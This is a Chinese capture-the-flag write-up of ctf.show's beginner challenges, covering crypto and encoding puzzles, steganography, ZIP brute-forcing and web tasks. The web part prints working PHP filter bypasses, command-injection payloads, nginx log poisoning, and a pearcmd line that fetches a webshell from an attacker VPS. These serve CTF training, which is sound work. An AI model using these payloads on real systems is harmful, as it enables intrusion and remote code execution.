目录
萌新区题目概览:
萌新区一共47题,本文带来前45题的详细WP,最后两道题等待更新。
0x01 萌新认证
这道题,就是普通签到题,加入群,查看群公告即可。
或者喊一声萌新码
注意:萌新码是从一个固定池里随机分配的,不是统一的;
0x02:萌新_密码1:
看到一大串字母和英文,看了一下,没有大于F的字母,应该是16进制,将这串字符串进行base16转换【16进制转字符串】
解码后的字符串,凭感觉像base64编码,进行base64译码
可以看到有{},而且有大写的K E Y;K和E正好一边一个,应该是栅栏密码
得到最终的KEY
0x03.萌新_密码2:
题目已经给出提示,这是经典的键盘密码:
得到KEY:fwy
KEY{fwy}
0x04.萌新_密码3:
将图中的字符串进行摩斯编码转换
得到
morse is cool but bacon is cooler mmddmdmdmmmdddmdmddmmmmmmmddmdmmddm
接下来进行培根密码转换:
但是培根密码是 A和B的字符串,所以我们将m替换为A,d替换为b。可以复制到文本文档中,ctrf+f,查找替换。
最终得到:
AABBABABAAABBBABABBAAAAAAABBABAABBA
解码后得到,guowang
提示1:flag{GUOWANG}要大写
提示2:培根密码有两种码表,一种不区分IJ和UV,另一种区分,所以你有可能得到如下结果。
0x05.萌新_隐写2:
得到提示:
那么密码应该是:199xxxxx
下面进行暴力破解压缩包密码:
选中要爆破的压缩包,点击next
选择暴力破解,然后next
字符集选择“数字”,最小最大长度选择8,起始密码19900101,然后点击next
点击开始
瞬间爆破出压缩包的密码是:19981000
输入密码
得到flag
0x06: 萌新_隐写4:
下载附件,得到一个doc
打开一看,是一张图片
方法一:
直接将后缀名doc修改为txt,然后打开txt,就可以看到flag。
方法二:
将doc文档放到winhex工具当中
搜索-->查找文本
搜索f
得到flag
方法三:
文件-->选项
打开“隐藏文字”
可以看到flag
0x07:萌新 密码#4
提示比base64还大的base,那就是base85了。
先进行base64解码
然后再进行base85解码:
我们可以看到flag缺失了一块,有些base64解码能写成<,有些不能,正确的应该是Ao(mgHX^E)ARAnTF(J]f@<6".
这下可以得到完整的flag。
0x08:萌新_隐写3:
这道题比较简单,打开图片,直接可以看到flag
0x09:杂项1:
然后helloctf-ctf=hello,得到flag
0x0A:杂项2:
下载图片,我们得到的是一张png图片。
方法一:
将图片放入winhex中,搜索字符f
方法二:
将png重命名成txt,然后打开txt
0x0B:杂项3:
密码是6位数,题目提示 971001 ,5,经过尝试
0x0C:杂项4:
是一道暴力破解的题目,分别用俩种工具进行暴力破破解得到密码,372619038
然后用得到的密码去解压压缩包,得到flag。
0x0D:杂项5:
打开附件,是一个txt文档
百度翻译一下,没得到什么有用的信息,也没看到什么类似编码的东西。
但是仔细观察一下,发现有{}
里面的字母有大写有小写,猜测flag应该是大写字母的拼接
flag{CTFSHOWNB}
0x0E:杂项6:
根据提示,压缩包是伪密码,将504B0102 后面几个字节的09改为00
压缩包就可以直接解压,得到密码
0x0F:杂项7:
打开图片,发现图片高度缺少了一些东西,根据题目的提示应该是需要延长高度,查阅资料得
(9条消息) CTF show 萌新区解题报告 (二)_Vayn3的博客-CSDN博客
png格式,从第二行开始,前四个字节代表宽度,后四个代表高度
将原来的0185修改为0285,这样就可以看到flag信息
0x10: 杂项8
下载附件,得到一张图片
查了一些资料,得知此题与CRC校验有关,附上找到的代码
with open(filename, 'rb') as f:
data = bytearray(all_b[12:29])
width = bytearray(struct.pack('>i', w))
for h in range(n):
height = bytearray(struct.pack('>i', h))
for x in range(4):
data[x+4] = width[x]
data[x+8] = height[x]
crc32result = zlib.crc32(data)
if crc32result == 0x91918666:
print("宽为:", width, int.from_bytes(width, byteorder='big'))
print("高为:", height, int.from_bytes(height, byteorder='big'))
将这个py脚本与图片放在同一个路径下,在py3的环境中运行,得到宽和高。
将得到的宽和高分别转换成16进制
然后在winhex中,将原本的宽修改为020c
保存退出,就得到了flag
0x11: 杂项10
这个意思就是摘掉眼镜,看字母轮廓
flag{我好喜欢你}
0x12:杂项11
下载附件,是一张图
这道题,题目给了一个工具JPHS,然后我们就用这个工具看有没有隐藏信息。
使用方法:
首先用JPHS打开这个bp.jpg
然后点击seek,点击ok
将提取出来的文件,重命名为bp.txt
然后打开这个文本文档,发现是乱码,但是还是看出一些有用的信息,文本文档头显示什么NG,怀疑可能是PNG格式的图片文件。
将txt重命名成png,发现是一张二维码图片,然后用QR Research工具扫描一下图片,发现内容像base64编码
然后进行base64解码,得到flag
0x13:隐写1
下载附件,是一张图片,但是打开发现报错
放到winhex中看一下
发现PNG格式头有问题
修改一下PNG的头
图片可以正确打开,并且看到了flag.
0x14:隐写2
下载附件,是一张图片
放到JPHS当中看一下,保存,就得到flag
0x15:隐写5
下载附件,打开
将中文进行unicode编码
然后进行base16转换【16进制转字符串】
看起来像是base系列的编码,尝试了一下,发现是base32编码
0x16:隐写6
解压发现是一个音频文件
用audacity打开,发现一串类似摩斯电码的音波
长音波用-代替,短音波用.代替,得到
-- ..- --.. .. -.- .. ... --. ----- ----- -..
0x17:web1
关键代码如下:按照题目的意思id=1000,才显示flag,但是当id大于999的时候就退出了。
if(intval($id) > 999){
# id 大于 999 直接退出并返回错误
举个例子:
所以我们需要绕过intval函数
(9条消息) CTF show 萌新区解题报告 (三)_Vayn3的博客-CSDN博客
查阅了资料发现
intval函数是获取变量的整型值,当它获取的变量不能被转换时返回0;
所以我们可以采取以下方法绕过
单引号绕过:
http://28eeb09b-e21b-46e8-89c5-85f55793491e.challenge.ctf.show/?id='1000'
相乘绕过:
http://28eeb09b-e21b-46e8-89c5-85f55793491e.challenge.ctf.show/?id=100*10
16进制绕过:
http://28eeb09b-e21b-46e8-89c5-85f55793491e.challenge.ctf.show/?id=0x3e8
二进制绕过:
http://28eeb09b-e21b-46e8-89c5-85f55793491e.challenge.ctf.show/?id=0b1111101000
二次去反绕过:
http://28eeb09b-e21b-46e8-89c5-85f55793491e.challenge.ctf.show/?id=~~1000
逻辑或绕过:?id=999 or id=1000
/?id=999 || id=1000
?id=999- -1 相减得1000绕过
?id=500/(0.5) 相除绕过
/?id=500<<1 左移绕过
/?id="1000" 字符串绕过
?id=328^672 异或绕过
0x18:web2
发现跟之前相比,多做了一些过滤,但是经过尝试发现100*10,二进制,16进制,~~1000,‘1000’都可以绕过
$id = $_GET['id'];
if(preg_match("/or|\+/i",$id)){
die("id error");
if(intval($id) > 999){
# id 大于 999 直接退出并返回错误
0x19:web3
可以看到过滤了更多的东西,把16进制给过滤了
$id = $_GET['id'];
if(preg_match("/or|\-|\\|\*|\<|\>|\!|x|hex|\+/i",$id)){
die("id error");
0x1a:web4
过滤了更多的东西,经过测试发现,16进制和乘号被过滤,二进制,单引号,二次去反没有被过滤
$id = $_GET['id'];
if(preg_match("/or|\-|\\\|\/|\\*|\<|\>|\!|x|hex|\(|\)|\+|select/i",$id)){
die("id error");
0x1b:web5
过滤代码
$id = $_GET['id'];
if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\!|x|hex|\(|\)|\+|select/i",$id)){
die("id error");
通过二次~~,绕过,获得flag
0x1c:web6
过滤的字符代码:
$id = $_GET['id'];
if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\^|\!|x|hex|\(|\)|\+|select/i",$id)){
die("id error");
老方法: 二次去反和二进制绕过
0x1d:web7
本题将~过滤
$id = $_GET['id'];
if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\^|\!|\~|x|hex|\(|\)|\+|select/i",$id)){
die("id error");
0x1e:web8
这是一个脑洞题,暗示阿呆rm rf删库跑路。
参考链接:
0x1f:web9
可以看到这是一个命令执行的web题,如果匹配了参数,就会执行命令
方法一:尝试用highlight_file
/?c=highlight_file('config.php');
方法二:尝试使用system
/?c=system(%22cat%20config.php%22);
方法三:尝试使用shell_exec,不知道为啥没有回显
0x20:web10
图中对一些命令执行函数做了过滤
方法一:使用passthru函数
?c=passthru(%22cat%20config.php%22);
方法二:函数字符串拼接
c=$a='sys';$b='tem';$d=$a.$b;$d('cat config.php');
0x21:web11
题目对cat命令进行过滤,但是linux当中还有很多显示文本的命令。
?c=passthru(%22tac%20config.php%22);
?c=passthru(%22more%20config.php%22);
?c=passthru(%22less%20config.php%22);
?c=passthru(%22head%20config.php%22);
?c=passthru(%22tail%20config.php%22);
?c=passthru(%22nl%20config.php%22);
?c=passthru(%22sort%20config.php%22);
?c=passthru(%22uniq%20config.php%22);
c=passthru(%22ca%27%27t%20config.php%22);
?c=passthru(%22ca\t%20config.php%22);
0x22:web12
题目又对config和php进行过滤,可以base64编码绕过
?c=$a=base64_decode(%22c3lzdGVt%22);$b=base64_decode(%22Y2F0IGNvbmZpZy5waHA=%22);$a($b);
0x23:web13
题目又对分号进行了过滤
?c=passthru(base64_decode(%27Y2F0IGNvbmZpZy5waHA=%27))?%3E
0x24:web14
题目对括号进行了过滤
方法一:
?c=include$_GET[%27a%27]?%3E&a=php://filter/read=convert.base64-encode/resource=config.php
进行base64解码
方法二:
?c=echo%20`$_REQUEST[a]`?%3E&a=cat%20config.php
0x25:web15
题目又对等于号进行了过滤
继续沿用上面的绕过语句
include $_GET[a];&a=php://filter/read=convert.base64-encode/resource=config.php
0x26:web16
题目将c的参数和ctfshow拼接在一起生成了一个md5
解析这个md5
然后c的取值减去ctfshow
0x27:web17-web21通解
nginx日志包含
在GET请求当中 /?c=/var/log/nginx/access.log
User-Agent当中包含命令,查看当前路径下的文件,发现有36d.php
将36d.php的内容高亮
参考的大佬思路:
1.
2.
(9条消息) ctfshow萌新区web1~21_墨子轩、的博客-CSDN博客_ctfshow萌新web
提示:日志包含的话,不能有语法错误,错一次就得重开环境
0x28:web22
看不懂,但是很震撼。。。。
解决方案:
在VPS上运行简易http服务
写一个一句话木马:
?c=pearcmd&+download+http://A.B.C.D:6666/shell.php
执行命令
得到flag
参考链接:
0x29:获得百分之百的快乐
可以看到对输入参数的长度进行了限制
测试一下
解决方法:
?1=>nl
?1=ls
?1=* 得到flag
原理:【CTF 攻略】如何绕过四个字符限制getshell - 安全客,安全资讯平台
0x2a:web23 web24
不会。。。。 请等待更新
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论